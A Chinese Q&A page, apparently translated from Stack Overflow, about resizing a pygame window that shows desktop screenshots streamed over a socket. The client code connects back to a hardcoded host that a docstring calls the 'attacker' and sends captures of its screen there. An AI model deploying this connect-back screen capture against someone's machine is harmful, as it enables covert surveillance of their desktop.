首页 > 解决方案 > 调整 PyGame 屏幕大小

问题描述

问题

基本上我有这个代码来流式传输桌面屏幕。问题是当我尝试调整服务器屏幕的大小(服务器将接收图像)时,图像保持剪切/扭曲

我尝试调整窗口大小: 在此处输入图像描述

应该是什么(模拟): 在此处输入图像描述

问题

需要进行哪些更改才能正确调整图像流窗口的大小?

提前致谢。

服务器

import socket
from zlib import decompress

import pygame

#1900 1000

WIDTH = 600
HEIGHT = 600

def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not   data:
            return data
        buf += data
    return buf


def main(host='192.168.15.2', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)
    pygame.init()

    screen = pygame.display.set_mode((WIDTH, HEIGHT))

    clock = pygame.time.Clock()
    watching = True

    #x = sock.recv(1024).decode()
    #print(x)

    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
            #img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
            #.frombuffer(msg,(320,240),"RGBX"))


            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()


if __name__ == "__main__":
    main()  

客户

import socket
from threading import Thread
from zlib import compress

from mss import mss


import pygame

import sys
from PyQt5 import QtWidgets

app = QtWidgets.QApplication(sys.argv)

screen = app.primaryScreen()
size = screen.size()

WIDTH = size.width()
HEIGHT = size.height()

print(WIDTH, HEIGHT)
WIDTH = 600

HEIGHT = 600

def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 10, 'left': 10, 'width': WIDTH, 'height': HEIGHT}

        while True:
            # Capture the screen
            img = sct.grab(rect)

            print(img)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 0)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            try:
                    conn.send(bytes([size_len]))

            except:
                    break
                 
            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)

def main(host='192.168.15.2', port=6969):
    ''' connect back to attacker on port'''
    sock = socket.socket()
    sock.connect((host, port))

    
    try:
        #sock.send(str('123213213').encode('utf-8'))
        while True:
            thread = Thread(target=retreive_screenshot, args=(sock,))
            thread.start()
            thread.join()
    except Exception as e:
        print("ERR: ", e)
        sock.close()

if __name__ == '__main__':
    main()

标签: pythonpygame

解决方案


您最近的 pastebin 中的代码几乎是正确的,但就像我说的,您必须分别存储服务器和客户端分辨率:

import socket
from zlib import decompress
import pygame
 
def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf
 
 
def main(host='192.168.15.2', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)
 
    client_resolution = (conn.recv(50).decode())
    client_resolution = str(client_resolution).split(',')
    CLIENT_WIDTH = int(client_resolution[0])
    CLIENT_HEIGHT = int(client_resolution[1])
    
    #store the server's resolution separately
    SERVER_WIDTH = 1000
    SERVER_HEIGHT = 600
 
    pygame.init()
 
    screen = pygame.display.set_mode((SERVER_WIDTH, SERVER_HEIGHT))
 
    clock = pygame.time.Clock()
    watching = True
 
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break
 
            # Retreive the size of the pixels length, the pixels length and pixels
 
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))
 
            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (CLIENT_WIDTH, CLIENT_HEIGHT), 'RGB')            
            
            #resize the client image to match the server's screen dimensions
            scaled_img = pygame.transform.scale(img, (SERVER_WIDTH, SERVER_HEIGHT))

            # Display the picture
            screen.blit(scaled_img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()
 
 
if __name__ == "__main__":
    main()  

请注意,您可以随时更改服务器的分辨率,完全独立于客户端的分辨率。这意味着您甚至可以根据需要调整窗口的大小。


推荐阅读